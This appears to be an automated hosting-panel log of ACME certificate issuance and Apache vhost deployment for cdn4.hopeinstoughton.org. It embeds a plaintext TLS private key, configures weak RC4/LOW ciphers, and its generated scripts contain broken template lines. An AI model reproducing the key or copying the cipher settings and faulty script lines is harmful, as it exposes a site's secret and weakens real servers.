y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-16 06:00:26: Establishing a connection
2025-10-16 06:00:27: Establishing a connection
2025-10-16 06:00:28:
PUT: /tmp/pkp790923
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-16 06:00:29:
chmod 755 /tmp/pkp790923; /tmp/pkp790923; rm /tmp/pkp790923
2025-10-16 06:00:29:
0
2025-10-17 06:00:02: Establishing a connection
2025-10-17 06:00:03: Establishing a connection
2025-10-17 06:00:04:
PUT: /tmp/pkp108970
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-17 06:00:05:
chmod 755 /tmp/pkp108970; /tmp/pkp108970; rm /tmp/pkp108970
2025-10-17 06:00:05:
0
2025-10-18 06:00:02: Establishing a connection
2025-10-18 06:00:04: Establishing a connection
2025-10-18 06:00:05:
PUT: /tmp/pkp931564
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-18 06:00:06:
chmod 755 /tmp/pkp931564; /tmp/pkp931564; rm /tmp/pkp931564
2025-10-18 06:00:06:
0
2025-10-18 06:00:06: Establishing a connection
2025-10-18 06:00:07: Establishing a connection
2025-10-18 06:00:08:
PUT: /tmp/pkp752349
#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-18 06:00:09:
chmod 755 /tmp/pkp752349; /tmp/pkp752349; rm /tmp/pkp752349
2025-10-18 06:00:09:
1
2025-10-18 06:00:10: Establishing a connection
2025-10-18 06:00:11:
PUT: /tmp/pkp489558
#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
cat > vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M
2025-10-18 06:00:12:
chmod 755 /tmp/pkp489558; /tmp/pkp489558; rm /tmp/pkp489558
2025-10-18 06:00:12:
2025-10-18 06:00:15: Establishing a connection
2025-10-18 06:00:16:
PUT: /tmp/pkp135566
#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
rm vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M
2025-10-18 06:00:17:
chmod 755 /tmp/pkp135566; /tmp/pkp135566; rm /tmp/pkp135566
2025-10-18 06:00:17:
2025-10-18 06:00:17: Establishing a connection
2025-10-18 06:00:18:
PUT: /tmp/pkp351719
#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt
cat > $temp_file <<'endmsg'
52:ee:a9:da:9a:09:76:d2:ad:ca:a0:00:c6:13:1f:26
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBhGgbknroABevVk74Mt1KEqjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDE4MDUwMTQ1WhcNMjYwMTE2MDUwMTQ0WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOYfnD6CxpaoRQnLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7
aZbpII3EuF1Bk/BFGqtqgfks//0eszBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW
5LyUplTcUlRAtyYCjQU2r1mUTokjPMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9
ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPm
d+nPqyxK9w+Hhr/j6grs+OC9MEH1CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm
2duVchyYFphk3efQcCP1ybBcBLLEIhVVOVQPAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFIK8wO88oNcbv0l+Z53uv9YPAJHGMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGZ9eeGrwAABAMASDBGAiEA1cz2RaKGpcNhWMNsoZx0ZYKoZTkudJyKecI3x0BV
L2MCIQCUcUa/Gl3POnpu+JzO10GAzdWqaZnYXiGVrzZbRzfH5gB3AJaXZL9VWJet
90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmfXnhuwAAAQDAEgwRgIhAMJFITHg
ZSuRYKirxd1bBK5+DLIgOwYeOkVepkFM4ZsAAiEAgb1/OWMNMTPnhnUZLYsd2bx9
yTdq/1lsrsUGo+Hi9pkwDQYJKoZIhvcNAQELBQADggEBAKM6WkCnKhx0Fq4hMLwC
VlmSAOs87WEy/efGAW3Jjbza9ZkLKUUkyX96VEFi/cokU47nGDYj2vu1vlrxpmGM
8Edj0EowLRkkVWYqeY+MDx3cFuPszdnO/UOW6162nRG5ct+sipKMXTCkfYgWKqIz
LvwJvmNd1k+dgSEuMG7jWTvs0wGbjTizHd+br3UnZqjjjXccVTyObslH5tEPrRyh
6Gy5llrArR9Gmp+SE1D4dKOyUWaqXWivPxs3HlVz0eLNVe5PoY3IAbrRWDz4cApo
FDJbUwOCRNi7FobehoVgnwai3/9IjEYRP1NvVnpwhiYd16DCE79dZ63+zA52Eeo/
JvQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOYfnD6CxpaoRQ
nLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7aZbpII3EuF1Bk/BFGqtqgfks//0e
szBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW5LyUplTcUlRAtyYCjQU2r1mUTokj
PMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+
5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPmd+nPqyxK9w+Hhr/j6grs+OC9MEH1
CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm2duVchyYFphk3efQcCP1ybBcBLLE
IhVVOVQPAgMBAAECggEAViZl2VZoe5SgKPpUh9NSWhZCjKqsJc5IJ0O5lKoIdAui
wZXet2bLPQN+ylhfbUlw6ZfJaEtbFWLCaXdJO/DPDraqVhKLLIAlxiaw2IbKtJkI
kPyaq1oOMksAb3vaea06K6RsQbiOvy7NZi0xqhsa/V1O8SETUsQ6OP811Nrd8ZwO
ctDw0rpYhZ4ef/YGW6D0lsODxY8FnHVtJutjGgjOE+030P67+Rwp9o6FQB1z8Vuq
IXr3FaMtXvje/U12d1gKhU9DW2LjADoqFuGEbw39FIGe479q42IdVZfv5uQl397A
Tcy6qh1o/SRO7TSbPHntaWWSY6UnvSStab6kIdIu+QKBgQDwz35NOs7drl4uQTFv
dCi3Hn8D7D+1O/dV2ILFfOg0btvsPAfFUAjQMBTC1Oy3Vuf8ubcvdwXAv3zFtK5C
CSwLeQbv5X1W43R6lRwoZ6V6kxLsk8VN6L0u4POtx7RbFeXy2dm/oDgJ/xUgrq7N
U0e3KcRidqWP8ZmcwffzePlg3QKBgQDbZo6ABI9IiwG76nklOhLfAe19iq4FK1bH
pW6vetJHXy5divrf5ztIHnC3NYuV3Oh0QiCLHQxp2tliy6gh3WfVvx5HG4ZL2FGm
S234fMlq2L2ga3+WQyvPGJ9/aDdWMtJJmXAxCdwd1EMP+rPzq9Q22iqyHEfeoL7Z
8ksXZ0Zj2wKBgEXCRftHYu/S+FN77T81LipF+lN/l8D/mxnSO6fMFFREHQ9lIHcn
RTZSB2GdXumJknCiuA9W8mKw1gtL2QMmNw0nxTuvhkyqXW65TUvjIovMmTnRYOG9
3zf6UHzyEiwkvtVICI07c6BptYwfLmIqkubbgZlod3OocHB5vENasxs9AoGBALaK
wp8yrAAgX8X4lOjrQ442LWFZg+YbI+2h79CisNffElWT751g5wrfAMr+CvAaR3GL
H0Z/Wbes9VdkuLPMYbsOc2OYPAlYpr5kXc/0CyURxdv19MaRhp6dDv9TN09Jo3rG
5fh3CqPq2g0uepCPc1Zb+FAOhaFuPrxZAi8rpv4nAoGBAJNnemH52tolt3xblboh
rWamEyqNMdehELMKz8ULnMiMy3HGK3QzQNzFaTvS6+FAt74FM9ybJN+a270hnwmg
4gR97Cpo8nbzin7i6SCHjaTdsUM3HlCF+4Sc0dIPRXFZnnE8DVoKSKiWxCWLrWoD
03jEx02CoXgGcj+Piro6w3PN
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-18 06:00:19:
chmod 755 /tmp/pkp351719; /tmp/pkp351719; rm /tmp/pkp351719
2025-10-18 06:00:19:
dir=/etc/ssl/certs
2025-10-18 06:00:19:
PUT: /tmp/pkp972645
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-18 06:00:20:
chmod 755 /tmp/pkp972645; /tmp/pkp972645; rm /tmp/pkp972645
2025-10-18 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-18 06:00:20:
PUT: /tmp/pkp554553
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi
2025-10-18 06:00:20:
chmod 755 /tmp/pkp554553; /tmp/pkp554553; rm /tmp/pkp554553
2025-10-18 06:00:21:
2025-10-18 06:00:21:
PUT: /tmp/pkp858674
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-18 06:00:21:
chmod 755 /tmp/pkp858674; /tmp/pkp858674; rm /tmp/pkp858674
2025-10-18 06:00:21:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-18 06:00:21: Establishing a connection
2025-10-18 06:00:22:
PUT: /tmp/pkp244666
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-18 06:00:23:
chmod 755 /tmp/pkp244666; /tmp/pkp244666; rm /tmp/pkp244666
2025-10-18 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-18 06:00:23:
PUT: /tmp/pkp410289
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 06:00:24:
chmod 755 /tmp/pkp410289; /tmp/pkp410289; rm /tmp/pkp410289
2025-10-18 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 1172
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-18 06:00:24:
PUT: /tmp/pkp433954
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 06:00:24:
chmod 755 /tmp/pkp433954; /tmp/pkp433954; rm /tmp/pkp433954
2025-10-18 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt 5377
52:ee:a9:da:9a:09:76:d2:ad:ca:a0:00:c6:13:1f:26
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBhGgbknroABevVk74Mt1KEqjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDE4MDUwMTQ1WhcNMjYwMTE2MDUwMTQ0WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOYfnD6CxpaoRQnLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7
aZbpII3EuF1Bk/BFGqtqgfks//0eszBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW
5LyUplTcUlRAtyYCjQU2r1mUTokjPMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9
ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPm
d+nPqyxK9w+Hhr/j6grs+OC9MEH1CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm
2duVchyYFphk3efQcCP1ybBcBLLEIhVVOVQPAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFIK8wO88oNcbv0l+Z53uv9YPAJHGMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGZ9eeGrwAABAMASDBGAiEA1cz2RaKGpcNhWMNsoZx0ZYKoZTkudJyKecI3x0BV
L2MCIQCUcUa/Gl3POnpu+JzO10GAzdWqaZnYXiGVrzZbRzfH5gB3AJaXZL9VWJet
90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmfXnhuwAAAQDAEgwRgIhAMJFITHg
ZSuRYKirxd1bBK5+DLIgOwYeOkVepkFM4ZsAAiEAgb1/OWMNMTPnhnUZLYsd2bx9
yTdq/1lsrsUGo+Hi9pkwDQYJKoZIhvcNAQELBQADggEBAKM6WkCnKhx0Fq4hMLwC
VlmSAOs87WEy/efGAW3Jjbza9ZkLKUUkyX96VEFi/cokU47nGDYj2vu1vlrxpmGM
8Edj0EowLRkkVWYqeY+MDx3cFuPszdnO/UOW6162nRG5ct+sipKMXTCkfYgWKqIz
LvwJvmNd1k+dgSEuMG7jWTvs0wGbjTizHd+br3UnZqjjjXccVTyObslH5tEPrRyh
6Gy5llrArR9Gmp+SE1D4dKOyUWaqXWivPxs3HlVz0eLNVe5PoY3IAbrRWDz4cApo
FDJbUwOCRNi7FobehoVgnwai3/9IjEYRP1NvVnpwhiYd16DCE79dZ63+zA52Eeo/
JvQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOYfnD6CxpaoRQ
nLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7aZbpII3EuF1Bk/BFGqtqgfks//0e
szBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW5LyUplTcUlRAtyYCjQU2r1mUTokj
PMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+
5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPmd+nPqyxK9w+Hhr/j6grs+OC9MEH1
